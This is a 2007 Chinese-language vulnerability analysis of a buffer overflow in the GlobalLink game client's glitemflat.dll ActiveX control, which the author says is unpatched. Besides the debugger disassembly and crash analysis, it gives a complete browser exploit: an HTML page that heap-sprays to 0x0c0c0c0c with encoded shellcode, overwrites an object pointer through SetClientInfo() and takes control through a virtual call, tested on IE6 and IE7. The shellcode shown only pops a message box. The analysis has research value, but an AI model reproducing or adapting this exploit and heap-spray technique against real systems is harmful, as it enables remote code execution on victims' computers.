GlobalLink glitemflat.dll SetClientInfo() 溢出分析

author: void#ph4nt0m.org
publish: 2007-09-06

影响版本:
联众游戏大厅2.7.0.8 (2007年8月16日发布)

未受影响版本:
联众还没补 :-)

简要分析:
先给出PoC代码:

<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
target.SetClientInfo(1, s, 1)
</SCRIPT>

运行PoC后,用ollydbg捕获异常:为读取[41414145]无效地址访问异常,出问题的代码如下:

033D9315 |> \8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D931B |. 85C0 TEST EAX,EAX
033D931D |. 74 34 JE SHORT 033D9353
033D931F | . FF70 04 PUSH DWORD PTR DS:[EAX +4] ; /hWnd <=== 异常处!
033D9322 |. FF15 F8523F03 CALL DWORD PTR DS:[<&USER32.IsWindow>] ; \IsWindow

再看此时的寄存器情况:

EAX 41414141
ECX 03442070
EDX 006900CD ASCII "ox"
EBX 03442070
ESP 02B9FB2C
EBP 02B9FB48
ESI 03441FD0
EDI 0344210C
EIP 033D931F glitemfl.033D931F

EAX为"AAAA",看来我们可以控制EAX的值,但是到这里我们还没法控制指令流程走向,往下看:

033D9328 |. 85C0 TEST EAX,EAX
033D932A | . 74 0F JE SHORT 033D933B ; eax为0,跳到0x033D933B
033D932C |. 8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D9332 |. FF70 04 PUSH DWORD PTR DS:[EAX+4] ; /hWnd
033D9335 |. FF15 44533F03 CALL DWORD PTR DS:[<&USER32.DestroyWindo>; \DestroyWindow
033D933B |> 8B8E DC000000 MOV ECX,DWORD PTR DS:[ESI+DC] ; ecx就是我们前面控制的eax的值
033D9341 |. 85C9 TEST ECX,ECX
033D9343 | . 74 07 JE SHORT 033D934C ; 如果ECX不等于0,不跳
033D9345 |. 8B01 MOV EAX,DWORD PTR DS:[ECX]
033D9347 |. 6A 01 PUSH 1
033D9349 | . FF50 0C CALL DWORD PTR DS:[EAX+C] ; 虚函数调用,可能控制
033D934C |> 83A6 DC000000>AND DWORD PTR DS:[ESI+DC],0
033D9353 |> 8D86 40010000 LEA EAX,DWORD PTR DS:[ESI+140]

从上面的代码流程分析可以看出[ESI+DC]其实放的是一个对象指针,而且可被我们控制.
这个对象的结构大致为:

+00h vmt_ptr
+04h hWnd
+08h ...

要利用成功,必须使得放hWnd的地址可读,且读出的hWnd为无效的窗口句柄,就可控制流程到0x033D933B,然后使得vmt_ptr指向的地址偏移0x0C处的地址指向我们的shellcode,就OK了.

咋看起来,这些条件很难同时满足,但是别忘了我们是在IE里面,祭出heap spray大法,再覆盖对象指针指向0x0c0c0c0c.此时,hWnd为0x0c0c0c0c,基本为无效句柄,如果碰巧是窗口句柄,恭喜你,去买彩票吧;vmt_ptr也是这个值,vmt_ptr+0x0c还是这个值,最终call [eax+C]得到控制.

演示代码: (shellcode为弹出MessageBox, IE6sp2,IE7测试通过)

<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
//just pop up a MessageBox
"%u0eeb%u4b5b%uc933%ubfb1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe67%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%uc716%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufeda%ufefe%u96ac%u91d0%u998c%u9096%uce8a%u9693%u8edd%uca96%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u019c%u0101%u8acc%uf26f%u7187%u9e32%uf494%ue0c6%u3344%u4d2e%u3a4b%u968d%u929b%u9d92%u9a91%ufe9b"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x0c\x0c\x0c\x0c"
target.SetClientInfo(1, s, 1)
</SCRIPT>

相关日志

发表评论